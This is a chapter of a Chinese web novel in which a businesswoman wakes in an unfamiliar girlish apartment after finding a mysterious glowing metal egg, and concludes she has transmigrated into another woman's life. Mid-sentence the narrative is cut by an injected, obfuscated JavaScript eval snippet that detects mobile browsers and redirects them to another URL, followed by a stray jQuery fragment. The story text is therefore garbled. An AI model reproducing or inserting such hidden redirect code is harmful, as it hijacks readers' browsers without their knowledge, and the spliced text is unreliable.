真奇了怪了,顾妤知心想。
自己怎么在一张公主床上?
昨天她的朋友黎秋回国,两人约在酒吧见面,顺便庆祝顾妤知自己的投资公司成功收到第一笔回款。
当时她心情非常好,因为这是她脱离家族独自单干后收到的第一笔自己赚来的钱。加上很久没见的好友回国,昨晚她嘴角的笑就没停过。
顾妤知真觉得自己的小日子欣欣向荣。
结果再一睁眼,自己竟然躺在了这张满是蕾丝、床幔层层叠叠、连床垫都垫了三层的公主床上。
她睁开眼后的第一反应,就是自己在做梦。
但是床品的触感又很真实,枕头边的蕾丝磨得她的脖子不舒服。
顾妤知又躺回去双手合十闭上眼,希望自己再睁眼就能回到熟悉的黑白灰卧室里。
但不管试多少次,眼睛闭了又睁,她眼前的还是一层又一层的白色纱幔。
不只是床,吊灯是水晶的;窗帘是暗粉色坠着流苏的;窗台是摆满玩偶的;连桌椅和床头柜都是白色的底描着金边;整个房间精致又繁琐。
顾妤知:见鬼!
她头皮发麻,这实在和她的审美不符。她的房子不管是卧室客厅还是卫生间,全是统一调子的黑白灰,包括她所有的衣服。
这件屋子和她的房间比起来,简直就像小孩房。
顾妤知直起身,看看自己到底在什么地方,不知是不是昨晚喝了酒的缘故,后脑勺在她起身时传来一阵钝痛,疼得她又躺了回去。
“呃...”
等了差不多十分钟,痛感才慢慢消失,顾妤知赶紧把自己所在的地方扫了一圈。
她所在的地方是一个小两房两厅,其他空间的装潢无一例外和卧室一模一样。每个空间都摆满了玩偶和装饰品,连厨房都有,冰箱里甚至还有吃剩的蛋糕。
顾妤知站在客厅中间的白色毛毯上,夏日早晨的阳光温温热热的,透过阳台撒在她脚上,她只觉得周遭的一切都冷得刺骨。
“这到底是什么鬼地方?!”
我不是在家吗?这是哪??谁把我弄来的???
顾妤知的脑子里塞了一堆问题,她赶紧跑进卫生间洗了把脸,冰凉的水让她稍微清醒了一点。
她双手撑在台面上,看着镜子里的自己,明明长相没变,身形也没变,甚至连发型都一模一样,都是利落的黑色一刀切短发,顾妤知却越看越陌生。
“昨晚我喝了酒后回家,洗完澡后对了一下日程,然后进了衣帽间...”
这些事都和平常没什么不同,顾妤知每天的生活都是如此。
突然,她猛地一下抬起头。
昨晚确实有一件很奇怪的事,她进衣帽间时想着黎秋的话,太认真忘记开灯,结果莫名其妙踢到了一颗蛋!
两人当时在酒吧闲聊,聊到了顾妤知留学期间,黎秋给她介绍的男朋友。
这个男朋友人帅多金身材好,微卷的金发淡蓝的眼眸,还是某个酒业的公子哥,简直就是完美情人,和顾妤知站在一块非常登对。
黎秋也非常满意,以为两人能走很远,在当时的她看来顾妤知是很喜欢这个情人的。
结果一毕业两人就分手了,而且是顾妤知提的。当时黎秋知道顾妤知很忙,自己也有事就没多问,这件事就这么过去了。
直到昨晚两人相聚,好不容易找到机会问她原因,结果顾妤知给的回答是:
“我仔细评估了一下,我觉得我的生活不需要这样的情感,他实在是太黏人。”
黎秋:“......评估?”
两人为此起了点小争执,黎秋觉得她需要伴侣,否则在高压的工作环境下容易崩溃,尤其是她还开了公司。
可顾妤知就是觉得她不需要。
黎秋看着她,冷哼一声:
“顾妤知,我有时候真觉得你像个铁人,也不知道以后谁这么有能耐,把你这样的铁块融化。”
当时顾妤知没把黎秋的话放心上,直到她回到自己家,洗完澡后来到空荡又冷清的客厅时,她才真正开始回味这段话。
“说我像铁块...是什么意思?”
前男友她确实挺喜欢,除了有点粘人没有缺点,对于当时她一个学业不重的大学生来说,是枯燥乏味的留学生涯里一味很好的调味剂。
但毕业后就不一样了。
毕业后的工作强度和上学时根本不能比,她可不想每天忙得要死还要抽出时间来哄人,有这闲工夫还不如多看几份报表。
“不想谈恋爱也有错......?”
脑子想得认真,顾妤知跟着身体里的肌肉记忆走进衣帽间,提前安排好第二天的衣服。
顾妤知连灯都没开,走进去没几步,只听见咣当一声,她踢到了一个东西。
紧接着,在三面封闭的衣帽间的角落,亮起一圈突兀的白光,自上而下地绕着某个物体发光。
她瞧着,像是一颗蛋。
顾妤知把灯打开,发现角落里还真有一颗蛋。
这颗蛋通体是银色的,像是某种金属,一圈圈白光围绕着它扫动,亮度随着某种频率闪烁,像在呼吸。
她蹲下身,用手指戳了戳它。
奇怪的是,金属蛋好像能感知到一样,在她戳完之后,白光闪烁的频率变快了。
顾妤知:......
这东西哪来的?
顾妤知能记得自己所有的生活用品,这种看起来毫无实用性的装饰品,在她的房子里出现的可能性为零。
她单手把蛋拿起来,举着它看了一圈。
金属蛋的外壳几近完美,找不到任何一个拼接的地方,白光像是浮在它表面,没有一点痕迹,像是一体成型的东西。
而且在这个冷气打足的夏夜,蛋的外壳竟然异常的冰,顾妤知刚拿起来就被冻了一下,手掌的皮肤和外壳之间有一种微妙的撕扯感。
顾妤知把手里的东西放在茶几上,脑子里所想的东西从黎秋的话变成了眼前这颗发光的蛋。
自认为记忆不错她竟然对这个东西一点印象都没有,像是凭空出现在自己家中。
她思考了半分钟,决定明天把这颗蛋扔进楼下垃圾桶。
顾妤知进到卫生间里洗漱,刷牙时顺手看了眼邮箱,结果竟然在未读邮件里发现了这颗东西的来历。
发件人是一家新开的科技公司,邮件里解释这颗蛋是新项目的试用品,但没有附上产品信息和使用说明,只是告诉顾妤知有这么个东西。
顾妤知又思考了半分钟,还是决定扔掉。
这玩意看起来太奇怪了。
想到这里,顾妤知的后脑勺又传来一阵刺痛,掐断了她的回忆,手臂也撑得有些发酸。
现在想想这颗蛋的出现得实在是怪异,一个试用品,没有产品名称和使用说明不说,还绕过了她的记忆凭空出现在非常私密的衣帽间里,还被她踢到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203248|197287||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了!
这概率应该比出门被陨石砸到还低。
不过也只是猜想,顾妤知并不觉得一颗蛋能有这么大能耐。
顾妤知掐了下眉心,盘算着接下来的计划。
事情已经发生,她人已经在这间陌生的房子里,昨晚的事想再多也没用。
“如果不是梦的话,那我现在首先要弄清楚,现在的‘我’到底是谁。”
顾妤知当机立断,穿着睡衣把所有能找到的证件和电子设备全都翻出来摆在茶几上。
证件倒是很多,房产证驾驶证身份证等等,电子设备却只有两台,一台笔记本和一部手机。让她有些惊讶的是,两台设备和她之前用的型号一模一样。
设备息着屏,都需要密码。顾妤知举着手机踌躇着,把自己的密码输了进去。
“咔哒——”
竟然解开了!
她不可置信,又试了一下电脑,竟然也解开了!
顾妤知没空顾及心里那一点点恐惧,赶紧把所有软件资料全部打开,仔仔细细地看。她一定要搞清楚现在的自己到底是谁!
终于在三个小时后,从醒来到现在滴水未进的顾妤知,得出了一个结论:
她可能穿越了,而且穿到了一个同名同姓,甚至长相发型身形都一模一样的女孩身上。
不同的是,原主是个孤儿,但顾妤知不是。
原主的父母生下她就去出了车祸留下她一个人,她从小吃百家饭长大,但很争气,考上了名牌大学还有不错的工作,还买了一套小房子,就是顾妤知现在所在的地方。
而原主现在的工作,是在靳氏集团当市场分析员,属于投资部。
顾妤知嘴角一抽,怎么连工作都差不多?
这个世界也和之前的没什么不同,唯一的区别就是,她查不到任何关于顾家的消息。
顾家是庞大的家族企业,世代单传,现在的一把手是顾妈。从小不管顾妤知的意愿带着她在媒体前刷脸,网页上一搜全是有关她俩的新闻,这也是她一定要脱离家里自己创业的原因之一。
到这里为止,顾妤知都很平静地接受了,但是在她发现连时间都和原来的世界一样时,才有些慌神。
她和黎秋见面是在星期五的晚上,而现在她手里的手机显示星期六,日期刚好隔了一晚。
有那么一瞬间顾妤知觉得,她以前的生活是一场梦,现在的‘她’才真正的她。
但她又十分确信脑子里的记忆是属于自己的,她的家人、朋友、过去的生活以及自己千辛万苦开起来的公司,这些记忆太过于完整和具体,不可能是臆想出来的。
顾妤知翻到原主朋友圈里丰富的照片和动态,上面的女孩笑容明媚,更确信自己穿越了的事实。
这些照片是绝对不可能出现在她的朋友圈里,她是个不喜欢发动态的人。
“...等等!”
顾妤知突然想到了什么,从一堆证件里抬起头。
“如果我穿越了,那现实中的我呢?”
如果我不在了,那我的公司、黎秋还有我的家人,她们怎么办?
最重要的,还有我的钱!
顾妤知之前的项目款才收回来了一笔,还有好多没收!
顾妤知啪地一下从茶几上撑起身子,望向上面乱七八糟不属于自己的资料,下定了决心。
“不管要做什么,我都一定要回去。”
“我不能被困在这!”